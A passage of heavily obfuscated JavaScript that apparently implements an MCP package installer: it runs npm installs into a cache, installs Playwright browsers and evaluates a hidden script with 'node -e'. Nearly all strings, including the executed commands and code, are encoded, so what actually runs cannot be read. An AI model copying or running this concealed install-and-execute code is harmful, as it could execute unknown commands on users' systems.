Jbd','zNjVBunOyxjdB2rL','Dg9tDhjPBMC','rxHiuxrlBNG','ExDQsNPNDK16mKHqqu1uu0j3nvzdAgzzqZnYmurordrfEfbICuTUzxj1EMHZzuXRCZbyBNrloxf1DMP0DMz2D3yXshP3sMfyBuPTmg50EtnVzeTsBfOW','CtjetxnlzvL6sZu2q1P2CNfAAtv2Cq','qK1Ymw0YotbbDgjwEJbxwemZrhL2s2Pi','qMHTwhyWBM5esZfIrwvd','ruSXBxz4tdn3zM5Mq3e','CtjetxD1BvLeCq','CtjeExnLCK5fthPKDhrH','CxHdmxDlCK56tg5JExe','Aw5KzxHpzG','rgH2vun4r1H5twPyBwzYsunkyJjYtNvyEu16wg10tffezvG2Eu5YthrNDq','Cu5emNDlBvL6sZu2q3e','BxrTng5KztjVzgjWru1euNeXtW','CvPQmND1CM5eteWWDhD6Duvozq','CxzimhnOseK','ntaZntCZnfLHAufiyW','EJi5D0fMANO','qMHTwhvOt1LUDNPKDhH2DxfAALv3Dwy0EuPIzhzx','CtjiuxrLBK56teW2q3e','rxrQExvNwg51zK8','Bxrhv21kDtvUtNziExzMnKvH','rxrQAxD1AvLTDMjLrfPH','CMDemNDlCKG','CtjiuxrLBK56teW2re1pwhflnvL1zwOZre16y3rouhfXmda1DNvQm0rmDMv5Cq','ruPQmM1H','rxuXBxzX','twTRDK9Z','ALflB3rt','qZjiuhPoCq','rgC5DerOALbctum','CMHiwxr3ouG','otGXmdvby3rHsfK','qMD2vxOZCK8','CtjeExnLDJrYzKXIrdbYChjNzq','BxrIt3vnsfzcDK8','CuSWnxmZudjVDNjJBu5Pwhfnrdj3rW','q056sxD2sg4','CuS1sxzH','qxC1s3P4shb6rW','CxHdmxDlCK56tg5JEJj5v3f4qZv2D1HUDwzqy21kCq','qMHTwhD4udr6sMzIrwDqBq','C2HPzNq','mZKWntaYvLvtyND0','BLPHm0jLmwDeAg5r','qZjyuhKYDq','ntu4nti0DwnRuvHI','ru5dmxmWBvHYzMjLEJbd','rxrPnxz1BvPdDurMBu01CheWmdv2zwy0reXYz0rKzNPftKHnBxvMneflwfj5Cq','q2H2wKfH','qNvqwg13otbfDgOZEKTYD3jOEMLfCq','CvPUwxD1zJnUDtq','CvPQAxnNmwTeDgK','Cu5evxyYwdr5s0G1BuXYAuvkAJj3rW','qK5YBhDNnuf5tLaXBu5QAxjOEMG','ywjJzgvMz2HPAMTSBw5VChfYC3r1DND4ExPbqKneruzhseLks0XntK9quvjtvfvwv1HzwJaXmJm0nty3odKRlZ0','B2rTmM1ABtf6s0Hqq2HmnG','t3z2Ag52','CvPQmND1CM5eteXyrwDqB3eXqW','qtnYDxnlzK9bthPJrdbxwhfoBtf1m0W0reX2nw1lrhbYDgPPDgHmm0nmBJzfzZvbqJa1wxD1CJnesKXsq1P1v3f3rdj2D1roqxrmv3r3thzfDgP5DKTTwur1ovjdmfm'];_0x428c=function(){return _0x365324;};return _0x428c();}import{mkdir,readFile,rename,rm,writeFile}from'node:fs/promises';import{dirname,resolve}from'node:path';import{promisify}from'node:util';const execute=promisify(execFile),installs=new Map();function _0x4384(_0x119f2e,_0x42767e){const _0x4af969=_0xfd32;_0x119f2e=_0x119f2e-((0x123e*0x1+0x5*-0x29+-0x1168)*(0x23cf*-0x1+0x6d0+-0xb*-0x2af)+-(0x52*0xb+0xa4f+-0x429)+(0x85*-0x2f+-0xa05+0x2293)*(0x2437+0x435*-0x6+0x1*-0xacf));const _0x279043=_0x5d37();let _0x32698f=_0x279043[_0x119f2e];if(_0x4384[_0x4af969(0x21a)]===undefined){var _0x35a148=function(_0x2502d6){const _0x1275ab=_0x4af969,_0x3b065a=_0x1275ab(0x1be);let _0x56c923='',_0x377a0e='';for(let _0x2e93dc=-(0x2305+0x6b*-0x55+0xb7)*-(-0x1355*-0x1+-0x1*-0x1ec5+0x641*-0x8)+(0x2ef+-0x183*-0x14+-0xa7e*0x3)+-(0x7*0x44d+0x1657*0x1+-0x3*0xfad),_0x343682,_0x3a4815,_0x2359ff=-(-0x320+0x1*0x91c+-0x1*-0x358)+-(0x5e*-0x32+0x12e+0x3791)+(-0x24b1+0xe9+0x2d53)*(-0x25e+-0x26*-0xcc+-0x1be5);_0x3a4815=_0x2502d6[_0x1275ab(0x1c6)](_0x2359ff++);~_0x3a4815&&(_0x343682=_0x2e93dc%((-0x1f*-0xad+0x1d+0x949*-0x2)*(-0x83*0xd+0x87e+-0x39*0x8)+-(0x195f*-0x1+0x1d59+-0x14b*0x3)*-(0x138b*0x1+-0x1*0x7f6+-0xaac)+-(0x6b25*-0x1+-0x35ca+-0xdd0e*-0x1))?_0x343682*((0x15a3+-0x2455+0xf68)*-(0x47d+0x14e5+-0x1953*0x1)+(-0xde4+-0xc31+0x639*0x9)+-(0x676*-0x1+-0x2051+0x39c9))+_0x3a4815:_0x3a4815,_0x2e93dc++%((0x68f+0x108c+-0x1719)*(-0x23*0x73+-0x1a4*0x2+0x1c4a)+-(-0xe49+-0xeda+-0x5d5*-0x5)*(-0x61*-0x61+-0x2000+-0x2df)+-(0x18c6+-0x2422+-0x2*-0x94f)*(0xb31+-0x1*0xab+-0xa85)))?_0x56c923+=String[_0x1275ab(0x1fe)]((0xb86+0x164f+0x92*-0x3b)*(-0x206*0x4+0x241e+0x1*-0x1bb9)+-(0x1951*-0x1+-0x1429*-0x1+-0x33*-0xdd)+-(0x13e5+-0x8b1+-0xb2d)*-(0x3*-0x1ae+-0xe*0x203+0x24e1*0x1)&_0x343682>>(-((0x1*-0x1736+-0x1e68+0x3782)*(-0x25*0x34+0x73b+-0x58*-0x1)+-(0xf2a+-0xf08+0x10ad)+-(-0x1147*-0x1+-0xa7d+-0x1*0x6c7)*(-0x463*0x7+0x123*0x1a+0x500))*_0x2e93dc&(0x2*0xaa9+0x21*0x5e+-0x2123)*(-0x1ed4+-0x22da+0x41c4)+(-0x5f1+0x3*-0x149f+0x64db)+-(0x3635+-0x9d*-0x65+0xf4d*-0x5))):(-0x1027+-0x1c7+-0x907*-0x2)*-(-0x8b*0x5+-0x814+0xb0*0x11)+-(-0x5*0x289+0x1*0x2ad3+-0x813)*-(0x2e7*-0x1+0x1ea2+-0x1bba)+(0x2*0x284+0x11aa+-0x1025*0x1)){_0x3a4815=_0x3b065a[_0x1275ab(0x209)](_0x3a4815);}for(let _0x2e42f9=-(0x1e97+0x6e4+-0x1280*0x2)*(-0x41*0x84+0xd9b+-0x23b*-0x9)+(-0x2e+0x4e3+0x1030)+-(-0x988+0x3d*-0x60+0x8b*0x3d),_0x377b1e=_0x56c923[_0x1275ab(0x1dd)];_0x2e42f9<_0x377b1e;_0x2e42f9++){_0x377a0e+='%'+('00'+_0x56c923[_0x1275ab(0x1f3)](_0x2e42f9)[_0x1275ab(0x1ff)](-(-0x31c+0x1*-0x21c1+0x27*0xf2)*-(0x25*-0x15b+-0x3275+0x7f17)+(-0x34e*-0x1+-0x12af+-0x166*-0xb)*(-0x1a93*0x1+0x2*-0x1276+0x4962)+-(-0x3b4+-0x1bcc+-0x108d*-0x3)*(0x1043+-0x96+-0x1*0xfab)))[_0x1275ab(0x1e0)](-((0x16f2+-0x1*-0xb+0x16fc*-0x1)*-(0x24fb*-0x1+-0x1d36+0x426f)+-(0x23*-0x5f+-0x52*-0x76+0x2*-0xc61)*(0x1abf+-0x3*0xc85+0x2*0x65c)+(0x4b4*-0x8+-0x2d1f+-0x21d*-0x33)));}return decodeURIComponent(_0x377a0e);};_0x4384[_0x4af969(0x1f9)]=_0x35a148,_0x4384[_0x4af969(0x1c0)]={},_0x4384[_0x4af969(0x21a)]=!![];}const _0x58a220=_0x279043[(-0x53*-0x49+-0x2681+0x13ff)*-(-0x2107+-0xe57*0x1+0x3f3*0xc)+-(0x16e1+-0x1a*-0x9d+-0x69c)+-(-0xb46+-0x1af1+0x304*0xf)*-(-0x90c+0x1ba5+-0x1290)];_0x4384[_0x4af969(0x21b)]!==_0x58a220&&(_0x4384[_0x4af969(0x1c0)]={},_0x4384[_0x4af969(0x21b)]=_0x58a220);const _0x5f2396=_0x4384[_0x4af969(0x1c0)][_0x119f2e];return _0x5f2396===undefined?(_0x32698f=_0x4384[_0x4af969(0x1f9)](_0x32698f),_0x4384[_0x4af969(0x1c0)][_0x119f2e]=_0x32698f):_0x32698f=_0x5f2396,_0x32698f;}export class McpPackageInstaller{[_0x5807d3((0x18ae+-0x26*-0xa3+0x30df*-0x1)*(0x105b*-0x1+0x1c27*0x1+0x5*0x8b)+(-0x49*-0x4d+-0xea3+0x422*0x4)+-(0x1767*-0x1+-0x3d*-0x5e+0x2*0x81)*(-0x12c3+-0x300+-0x752*-0x8))];constructor(_0xc5712f){const _0x1d19b0=_0x5807d3;this[_0x1d19b0(-(0x1ce5*0x1+-0x125*0x19+-0x39)*-(-0x1f0d*-0x1+0x201b+-0x3e93)+(0x1fd4+-0x152d+-0x7f1)*-(-0xe7e+-0x1262+0x20e1*0x1)+(-0x592+0x13cd+-0xe34)*-(-0x1*0x246d+-0x17a+0x268a))]=_0xc5712f;}[_0x5807d3((-0x72d+0x26c1+-0x3b*0x89)*-(0x3*0x31e+0x805*-0x1+0xb59)+-(0x15b*-0x18+-0x1288+0x1a*0x22b)+(-0x21f8+0x1*0xbea+0x29c5)*(0x1*0xda9+0x23ca+-0x3172))](_0x50241b){const _0x30a42f=_0x5807d3;if(_0x50241b[_0x30a42f(-0x17ac+-0x17c8+0x4c22+(0xe*-0x12+-0xa54+-0x5*-0x26b)*(-0x1*0xf85+0x1*0xf7b+0x35*0x1)+-(-0x2af0+0x5c79+0xaef))][_0x30a42f(-(0x2f6c+-0x35b8+0x2212)+(-0x60d*0x2+-0x169*-0x4+-0x1*-0xfe8)*-(-0x114d+-0x1*-0x1690+0x541*-0x1)+(0x10*0x239+0x3*-0x7d7+0xc20)*(0x3f5*-0x7+-0xc1*0xd+0x2*0x12c1))]!==_0x30a42f(-(-0x2*-0x12b9+-0x13*0x2fc+-0x1b11*-0x2)+-(-0x25*0x49+0x1cc+0x8c2)*(-0x17f8+-0x21e8+0x4cdf)+(0x1f*-0x379+0x5ccf+0x463a)))return Promise[_0x30a42f(-(0x1981+0x9e9+-0x2360)*(-0x1*0x2162+0x2*-0x125d+0x48a3)+-(0x37f+-0x1*0x41d+-0x1*-0x151)*(0x1*-0x1111+0x17b*-0x13+0x33d*0xe)+(-0x3da8+-0xdd*-0x5e+0x207f))](_0x50241b);const _0xfd992b=packageRequest(_0x50241b[_0x30a42f((-0x232+-0x131*0x12+0x2715)*-(-0xaf6+0xc6e+-0xbb*0x2)+-(-0x4d6c+0xcfe+0x676e)+-(-0x1687+-0x1623+-0x1*-0x2cad)*-(0x2558+0x16ad+-0x1*0x242e))][_0x30a42f(-0x13db+0xf9f+0xed0+(-0x5*0x71b+0x1038+0x1351)*-(-0x707+0x13*0x155+0x1be*-0x8)+(0x4*0x853+0x1*-0xe02+-0x336*0x6)*-(-0x1*-0x17e9+-0x1425+-0x3b8))],_0x50241b[_0x30a42f(-(-0x3f*-0x8+-0x13a7+0x473*0x4)*(0xbf3*-0x2+0xd*0x1e1+0x20*0x1)+(0x790*-0x4+-0x9a5+-0x4*-0xbfc)*-(0xadc+-0x1568+-0xa8d*-0x1)+(-0x15cd+0x74f*0x2+0x394*0xa))][_0x30a42f(-(-0x1673+0x1b*0x101+-0xf1)*(-0x2567+-0x65*0x13+-0x25d*-0x13)+-(0x9d6+-0x181+-0xb1*0xc)*-(0xb1*-0x1+0x2*0xaed+0x3d*-0x50)+-(0x2b*0x56+0x2058+-0x211d))]);if(_0xfd992b===undefined)return Promise[_0x30a42f((0xa*-0x2a2+0x15be+0x755)*-(0xad0*0x2+0x1adc+-0x307b)+(0x15ea+-0x59b*0x3+0xa*0x18a)+-(-0xcbd+0x1b94+-0xeba)*(-0x3*-0xaee+-0x25b5+-0x1*-0x57a))](_0x50241b);const _0x2be953=_0xfd992b[_0x30a42f((-0x1*0x285f+-0x13dc+0x5835)*-(0x83*-0x47+0xfeb+0x1*0x146b)+-(0x7*-0x556+0x2237*0x1+0x2883)+-(-0x588e+-0x3*0x17+-0x103*-0x9a)*-(-0xf9f+0x26*-0xce+-0x2*-0x171a))]+'\x00'+_0x50241b[_0x30a42f((0x3b*0x99+-0x163e+-0xf8*0xd)*(-0x1288+0x6d3+0xbd1)+(-0x26ba*-0x1+-0x12*-0x337+-0x2*0x1f01)+(0x353*0x1+-0x482*0x2+0x5b2)*-(-0x362c+0x4d54+-0x7*-0x31d))],_0x4a245e=installs[_0x30a42f(-(0x1c5+-0x10d5*-0x2+-0x1be4)+-(0x1020*-0x2+0x1*-0x2091+0x411d)*-(0x1a37*-0x1+-0x1089+0x2b09)+-(0x1459+-0x1*-0x225c+-0x13d*0x22))](_0x2be953);if(_0x4a245e!==undefined)return _0x4a245e;const _0x2a9bb1=this[_0x30a42f((0x19*0x79+-0x1014+0x559)*-(-0x13ec+0x11*-0x123+-0x1d*-0x15b)+-(-0x1*-0x1a42+0x1319+-0x2d59)*-(0x18b5+-0x1b12+0xfb2)+-(-0x4e1+-0x557*0x1+0x1201*0x1))](_0x50241b,_0xfd992b)[_0x30a42f(0x18cb+0x4*-0x24b+-0x7*0x1db+(0x1a4f+0xfd5+-0x2635*0x1)+-(0x481*-0x2+-0x16*0xad+0x1cfc))](()=>installs[_0x30a42f(-(0x1b4*-0x4+0x18d3*0x1+0x7*0x20b)+(-0xfcc+0x417+-0x5f7*-0x2)*-(0x2022+-0x202*-0x10+0x142*-0x33)+(-0x4573*-0x1+-0x7*-0x7bb+-0x5377))](_0x2be953));return installs[_0x30a42f(-(-0x2*0x10d6+-0x142+0xad*0x47)*-(-0x3*0xb2a+0x11e0+0x3*0x535)+(0xa4b*-0x1+0x9aa*0x4+-0xd*0x114)+-(-0x54b+0x1f9d+-0x1*0x1a51)*(-0x83b+-0x9dc+-0xe*-0x323))](_0x2be953,_0x2a9bb1),_0x2a9bb1;}async[_0x5807d3((-0x43*0x33+-0x511*0x4+-0x1*-0x21a1)*-(-0x1*0x1e99+-0x2673+0x1*0x475d)+-(0x15c2+0x65*0x61+-0x3c*0xdf)*-(0xc43+0x1*-0x1c49+0x1009)+-(0x1991*-0x1+0x2573*0x1+0xa2))](_0x2efd1d,_0x13df8e){const _0x522928=_0x5807d3,_0x287500=typeof this[_0x522928(0xc2*-0x29+-0x7af+0x1*0x3e11+(-0x6bd+0x1*-0x9a8+0x2a0e)*-(0x1*-0x957+-0x1*0x1072+0x19ca)+(0x1*-0x1b23+-0x16e4+0xd7c*0x4))]===_0x522928((0x2450+-0x1*-0xbe6+-0x151*0x17)*(-0x268d+0x1*0x22e5+0x3a9)+-(-0xa*-0x373+-0x2b80+-0x295*-0xe)+(0xaba*0x1+0xe*0x11b+-0x1*0xf67))?this[_0x522928(-0x466*0x1+0x2baf+-0x1117+(0x722+-0x2*0xd3f+0x1*0x1fa6)+-(0x4*0x74+-0x2f7e+0x274d*0x2))]:this[_0x522928(-(-0x1*-0x542+-0x1cfe+0x17cc)*-(-0x1f96+-0x7*-0x3f5+-0x5c*-0xb)+-(-0x890+-0x174d*0x1+-0x3*-0xbd9)+(-0x22d*0xd+-0x1537+0x1*0x3397)*(-0x234e+-0xd3c+0x308c))]();if(_0x2efd1d[_0x522928(-(0x514+-0x1ab5+0x1aa3)+-(0x1302+0x3*0x301+-0x1ac*0x1)+(-0x2b*-0x107+0x3003+-0x1d99*0x2))][_0x522928(-(-0x77*0xb+0x1e6d+-0x629)+-(-0x24e3+-0xa*0x2f3+0x4262)*(0xecc+-0xa*-0x16d+-0x1727)+-(-0x53*-0xf+0x1b90+-0x5e*0x55)*-(-0xa*0x61+-0x7a2*0x1+0xb82))]!==_0x522928(-0x603+0xf0f+0x7f*0x3+(0x2*-0x2c+-0x60b+0x66e)*-(0x1*0xfcb+-0x7de*-0x3+-0x2576)+(0x73a+-0x154e+0x17*0x125)))return _0x2efd1d;const _0x51d05f=_0x2efd1d[_0x522928(-(0x175+-0x179b+-0x38aa*-0x1)*-(0x1350+0x1861+-0x2bb0)+-(-0x1*0x499+-0x3c3+0xb79)*-(0x25b8+0x5*-0x683+-0x1*0x51e)+-(-0x6708+-0x5*0xef2+-0x187d*-0xa))][_0x522928(-(-0x1b8c+-0xd*-0x2ef+-0xa96)*-(-0x1761+-0x2f03+-0xf*-0x649)+(0x1985+-0x252a+0x26*0x8f)+-(0x208+-0x1*-0x6f1+0x16e6))],_0x182a81=createHash(_0x522928(0x82a+-0x59f*0x2+0x11*0xa3+(0x1*-0x39eb+-0x94e+0x66b1)+(-0x164b+-0x5*0x26b+-0x1*-0x24d7)*-(-0x19c1+0xa53+0xf7f)))[_0x522928(-(0x350a+-0x1ebd+0x814)+(0x2aef+-0x30c8+0x1*0x28c1)+-(-0x1*0x2408+0x2643+0xb5*0x1))](_0x13df8e[_0x522928(-(-0x22a0+-0x143d+0x3f5f)+-(0x452+0x341a+-0x167b)+-(-0x1*0x945+0x2097+-0x4f*0x4a)*-(-0x12d9*0x1+-0x13dc+0x2710))])[_0x522928((-0x1c7f+0x6*-0x681+0x438a)*(0x1f*0x141+-0x180+0x21f3*-0x1)+(0x246d+0xd4e+0x4*-0xa84)+-(-0x3d*0x59+-0x93b+-0x1*-0x1e73)*(-0x219+-0x1018+0x19f0))](_0x522928(-(-0x26fc+-0x1f9+0x2900)*-(-0x3ce*-0x1+0x72a+0x1*-0x8a7)+-(0x433e+0x2083+-0x3d37)+(-0x6b*0x19+-0xcca*0x2+0x32ba))),_0x1d61c1=resolve(_0x287500,_0x522928(0x1ed+-0x1*0x2851+0x47cc+-(0x2*0x10e7+0x204e+-0x20b*0x1c)*-(-0x1*0xbbf+0x65*0x4a+-0x116f)+(0xc4+-0xf6a+-0x1079*-0x1)*-(-0x105a+0x988+0x6f7)),_0x182a81),_0xfb1b8d=resolve(_0x1d61c1,_0x522928(-0x1a5*-0x12+0xe0e+-0x2*0x93e+(-0x500+-0x3*0x878+-0xf68*-0x2)*-(0xa6*0x28+-0x26*-0xd3+-0x38fc)+(-0x1896+-0x1f9e+0x3d2d)));let _0x5086f2=await installedExecutable(_0xfb1b8d,_0x13df8e[_0x522928(-(-0xf*0xa7+-0x1432+0x1e38)*-(-0xad4+0xe98*-0x1+0x9*0x2db)+(0xc12+0x2006+0x6*-0x44b)+-(0x1adc+-0x21cc+0x6f2)*(-0x2600+-0x14b7*0x1+0x509*0xf))]);if(_0x5086f2===undefined){const _0x270452=_0x1d61c1+_0x522928((-0xe2+0x203d+-0x1*0x1f5a)*-(0x2b*0x71+-0x1f5c+-0x2*-0x8fa)+-(-0x2aac+0x1c03*-0x1+-0x407*-0x18)+(-0x1357+0x2d*-0x18+0x3894))+randomUUID();await mkdir(dirname(_0x1d61c1),{'recursive':!![],'mode':0x1c0});try{await mkdir(_0x270452,{'recursive':!![],'mode':0x1c0}),await runNpmInstall(_0x270452,_0x13df8e[_0x522928(-(0xbfe+0xc27+0x7*-0x321)+(-0x21a*0x8+-0x24f0+0x367a)*(-0x2d*0x71+-0x877*0x2+-0xc49*-0x3)+-(0xc41*0x1+-0xfa9*-0x1+-0x1*0x1429))]),_0x5086f2=await resolvePackageExecutable(_0x270452,_0x13df8e[_0x522928(-0x209*-0x13+0xc5*0x29+-0x3c40+-(0x1*0x77f+-0x2*-0x10ed+0x14ac*-0x2)*-(0x1*-0x59+-0x19*0x104+0x2df3)+(-0x1dca+-0x15ec+0x33b7)*-(0x1dec+-0x121f+0x10c0))]),await writeFile(resolve(_0x270452,_0x522928(-(-0x3*-0x9bd+-0xa13+-0x1323)*(0x1*0xd31+0x1062+-0x1909)+-(-0x125*-0x20+0x4e3+-0x25dd)*(0x9d4*0x1+0x1d10+-0x157*0x1d)+(0x2938+0x56+-0x279))),JSON[_0x522928(-(-0xdb5+-0x22c3+0x307d)*(-0xf*-0x21f+-0x1*-0x1305+-0x3053*0x1)+(0x2584+0x1c97+-0x421a)*(0x1034+0x1*0x11e7+-0x1b44)+(-0x1e73+-0x7f9+-0x16cd*-0x2))]({'spec':_0x13df8e[_0x522928((0xaca*0x3+0x8*0x337+0xb9d*-0x5)*-(0x599+-0x1e5c+-0xd13*-0x2)+-(0x17dd+-0x1*0x25ff+0xfbb)+-(0x67a+0x1b3d+-0x1e*0xc9)*-(-0x22*0x88+0x2e2*0x6+-0x1*-0xc5))],'executable':_0x5086f2[_0x522928(-(-0x151f*-0x1+0x1d*0x57+-0x1eb0)*(-0x8cc+-0x18*0x154+0x28e6)+(0x441*-0x1+-0x1c85+-0x31c3*-0x1)*-(0x1de*-0x12+0x2296+-0xf9)+-(0x81e+-0x228*0x9+0xb5b)*-(0xd7d+-0x61*0x49+-0x103f*-0x1))](_0x270452[_0x522928(-(0x2048+-0x1eb*0xd+-0x674)+(-0xe6e+-0x305*0x5+-0x1f8*-0xf)*(0x1ffb+-0xd0f*0x1+0xe6b*-0x1)+-(0x1f29+-0x1e9c+0x168))])})+'\x0a',{'mode':0x180}),await rm(_0x1d61c1,{'recursive':!![],'force':!![]}),await rename(_0x270452,_0x1d61c1),_0x5086f2=resolve(_0x1d61c1,'.'+_0x5086f2[_0x522928(0x1*0x1a17+0x1*0x1cb2+-0x2812*0x1+(0x1926+0x2a4*-0x2+-0x13dd)*-(0x5*0x46f+-0x2092+0x2*0xab5)+-(-0x12fb*-0x1+0x15eb+-0x26b4))](_0x270452[_0x522928(-(0x7*-0x464+0xdf8+-0x169*-0x17)*(-0xeb3+0x1a72+0xa7*-0x12)+-(0x388a+-0x8c7+-0x1*0xc87)+(-0x1*0x2be6+-0x2*-0x18f2+0x5*0x950))]));}catch(_0x104418){await rm(_0x270452,{'recursive':!![],'force':!![]});throw packageError(_0x104418);}}const _0x38f106=await this[_0x522928(-0x2618+0x5*0x43d+0x40f*0xd+-(0x13ec+-0x3*0x367+-0x26*0x3d)*-(-0x1617+-0x49*-0x60+-0x524)+-(0x1*0x5582+0x2089*0x3+-0x7c90))](_0x2efd1d[_0x522928(-(-0x9*-0x31c+-0x1*-0x193a+-0xfe*0x2b)+-(-0x12ed*0x1+-0x1e77+0x10e1*0x3)*-(-0x4c5+0x20eb*-0x1+0x5*0x78d)+-(0x1*0x49b+0x1*0x48c+-0x13))],_0x1d61c1,_0x287500);return{..._0x2efd1d,'runtime':{'transport':_0x522928(-(0x3*0x9ef+-0x2390+0x1*0x1f81)+-(-0xc5b*-0x3+-0x2c00+0x1dcd)+(-0x1e21+0x3d3a+0x1306)),'command':process[_0x522928(0x1*0x91b+-0x1*0x648+-0x3*-0x2ee+(0x91f*0x1+-0x27a+0xec5)+-(0x1*-0x557+-0xe*-0x31d+-0x373*0x2))],'args':[..._0x38f106,_0x5086f2,..._0x13df8e[_0x522928(-0x919*-0x1+0x1*0x3826+-0x1f71+-(0x1f90+-0x85f+-0x817)+(0x1*-0x13bb+-0x13a3+0x385f)*-(0x242f+0x109*-0x1d+-0x629))]],..._0x51d05f===undefined?{}:{'environment':_0x51d05f}}};}async[_0x5807d3((-0x65e+0x76*0x3e+-0x1625)*(-0x1*0x18d1+-0x1*-0x1865+0x12d)+(-0x20ac+0xd7a+0x1334)*(-0x2*0x7cd+-0x18fc+-0x93f*-0x6)+-(-0x180+-0x419d+0x11*0x65a))](_0x346103,_0x8da56d,_0x533483){const _0xc5cc6=_0x5807d3;if(_0x346103!==_0xc5cc6((-0x6*-0x170+-0x36d*0x7+-0x2*-0x7ae)*(-0xb0f*-0x3+-0x2924+0x1d09)+(-0x1a1d+-0x1a02*-0x1+0x1*0x19b1)+(0xd4c+0x14b5*0x1+-0x20a4)*-(0x1f7f+0x1187+-0x1*0x30e5)))return[];const _0x48ac64=resolve(_0x533483,_0xc5cc6(-(-0xf7d*0x2+-0xb68+0x2a83)*-(-0x2185*-0x1+-0x15c5+-0xaeb)+-(0x3*0x39c+0x1*0x41f+-0xeee)*(-0x1b9a+0x1*-0x1a1b+0x1*0x3c1d)+(-0x2464+0x1*-0xb5+-0x23*-0x13c)),_0xc5cc6((0x2*0x913+-0x1322*-0x1+-0x250a)*-(-0x1105*0x2+0x113d*-0x1+0x3360)+(0x2148+0xb7c+-0x22*0x151)*(0x201a+-0x1*0x16d3+-0x6*0xb2)+-(-0x15ab+0x8d2+0x147*0xc)));await mkdir(_0x48ac64,{'recursive':!![],'mode':0x1c0});const _0x82594d=resolve(_0x8da56d,_0xc5cc6(-(0x1b45+-0x2074+0xb96)*(-0x1832+0xe44+0x9f3)+(-0x47+0x1f91+-0x1efe)*-(-0x17ed+0x11*-0x59+0x1dd7)+(0x1ed*0xd+0x23d3+0x1*-0x3cda)*(-0x2*0x3d7+0x1*0x481+-0x142c*-0x1)));await writeFile(_0x82594d,_0xc5cc6(-0x85f*0x3+-0xe5e+0xe*0x436+-(0x59c+-0xc9*0x13+0x10*0x95)*-(0x20f3+-0x3a*0x33+0x3*-0x164)+(0xeb8+-0x1*-0x24eb+0x35*-0xc1)*-(0x4*-0x6cd+-0x2691+-0x839*-0x8))+JSON[_0xc5cc6((0x41*-0x1+0x688+-0x5f4)*(-0xfb*-0x25+0x67f*0x3+-0x37ab*0x1)+-(0x1baa+-0x206c+0x4c3)*(-0x1c5a+-0x18*-0x29+-0x1f*-0x128)+(-0x6d*-0x57+-0x5*0x305+-0x1141))](_0x48ac64)+';\x0a',{'mode':0x180});const _0x5991f9=resolve(_0x8da56d,_0xc5cc6(-(0x33e+-0x790+0x9f3)+(-0x2927+-0xfc1+0x287*0x25)+-(-0x25d8+0x10c6+0x326c*0x1)),_0xc5cc6((-0xd7c+0x159e*-0x1+-0xbb9*-0x3)*-(0xc*0x277+-0x2141+0x58b)+(0x2031+0x11b8+0x1*-0x29d4)*-(-0x2*-0x1177+-0x2*0xc2a+-0xa97)+(0x299+0x1e0e+-0xace*0x3)*(0x47+0x9b8*-0x2+0x141b)),_0xc5cc6(-(-0x255d+0x1e7*0xc+0x2*0x17ef)+-(-0x1071*-0x1+-0x5a7*0x5+0xf97)+-(0x95a+-0x1be6+-0x1*-0x128e)*-(0x13+-0x188+0x2*0xa62)));await run(process[_0xc5cc6((0x2bf*0xb+0x2fd+-0x49*0x34)*-(-0xf02+-0xe3*0x2b+-0x166*-0x26)+(-0x1b*-0x21+-0x2392+0x2eb*0xb)*(-0x887+0x17*-0x128+0x232e)+(-0x1*-0x24e1+0x148c+-0x2f76)*(0x148a+0x1ffb+-0x3483))],[_0x5991f9,_0xc5cc6((-0x15e3+-0x2539+0x1*0x3b21)*-(0x234+-0x5e1+0xaaa)+(0x9*0x449+-0x47*-0x1+-0x22f9)*(0x1cf*0x3+-0x2603+0x209f)+(0xf86+0xc21+-0x1*0x1a0c)),_0xc5cc6(-(-0x1*0x1393+-0x527*0x5+-0x2b0*-0x1d)+-(-0xa9f+-0x10f7+0x1d91)*-(-0x147c*-0x1+0x5e*-0x3b+0x12f)+(-0x8*-0x9e+-0xa59+0x56d)*(0x131b+0x1be*0xb+-0x1e2e))],{'PLAYWRIGHT_BROWSERS_PATH':_0x48ac64});const _0x193d7a=resolve(_0x8da56d,_0xc5cc6(-(0x11a7+0x13ed*0x1+-0x1cfa)*(0x79*-0x1+-0x1*-0x1abe+-0x2f*0x8f)+(-0xd23*0x3+-0x7*-0x39b+0x286f)+(-0xffd*-0x1+-0x26*0x67+0x912)),_0xc5cc6(-0x1*-0x596+-0x757+0xd90+(-0x39cf*0x1+-0x3867*-0x1+0x1fda)+-(0xee2*0x1+0xbdd+0x1*-0x1abd)*(0x1490+-0x1*-0x1ab7+-0x1afd)));return await run(process[_0xc5cc6((0x8*0xca+-0x9fb+0x1d6*0x2)*(0xa7*0x2b+0x62a*0xb+-0x33*0x132)+(-0x885*-0x1+-0xb*0x271+0x1258)*(0x12e*0xd+-0x37c*-0x1+-0xf43)+-(-0x1*0x1e7+0xb*-0x2d7+0x2935)*(0x52d+-0x10cf+-0x1*-0xba7))],['-e',_0xc5cc6(-(-0x1441+0xd4b+-0x69d*-0x2)*(-0x33*-0x3b+0x19e8+-0x25a7)+-(0x213d+0xae0+-0x1d06)+-(0xa2d+0xb3*-0x2+-0x8c6)*-(0x354d*0x1+0x2985+-0x41a1))+JSON[_0xc5cc6(-0x7f6*0x4+0x2e*-0xc1+0x5112+-(0x1c55+0x1f*-0x5e+0x1*-0x10f1)*(0xb*-0x34f+0x3*-0x149+-0x3*-0x12f0)+(-0x1527+0x2077+0xb4b*-0x1)*(0x171b+-0x4cd*0x1+-0x7a*0x1e))](_0x193d7a)+_0xc5cc6(-(-0xe95*0x1+-0x423+-0x141*-0xf)*(-0xb8a+0x1*-0x21c1+-0x1f*-0x17b)+-(-0x2388+-0x7f*-0x12+-0x1ab1*-0x1)*(0x114d*0x1+0xa43+-0x1b6d)+(0x14be+0xbe*-0x2b+-0x1*-0x1d9f))],{'PLAYWRIGHT_BROWSERS_PATH':_0x48ac64}),[_0xc5cc6(-(-0x1*0x1aa7+-0x1730+0x39bc)+-(0x2238+0x15f8+0x2*-0x1707)+(-0x2610+-0x3*-0xacf+0x868*0x3)),_0x82594d];}}function packageRequest(_0x471359,_0x20c206){const _0x80d6c4=_0x5807d3;if(_0x471359!==_0x80d6c4(-0xf6d+0xb5*-0xd+0x2*0x1337+(0x1eb*0x4+-0xa22+-0x1*-0x102b)+-(0x1*0x2f09+-0x4d5*-0x3+0x3f2*-0x9)))return undefined;const 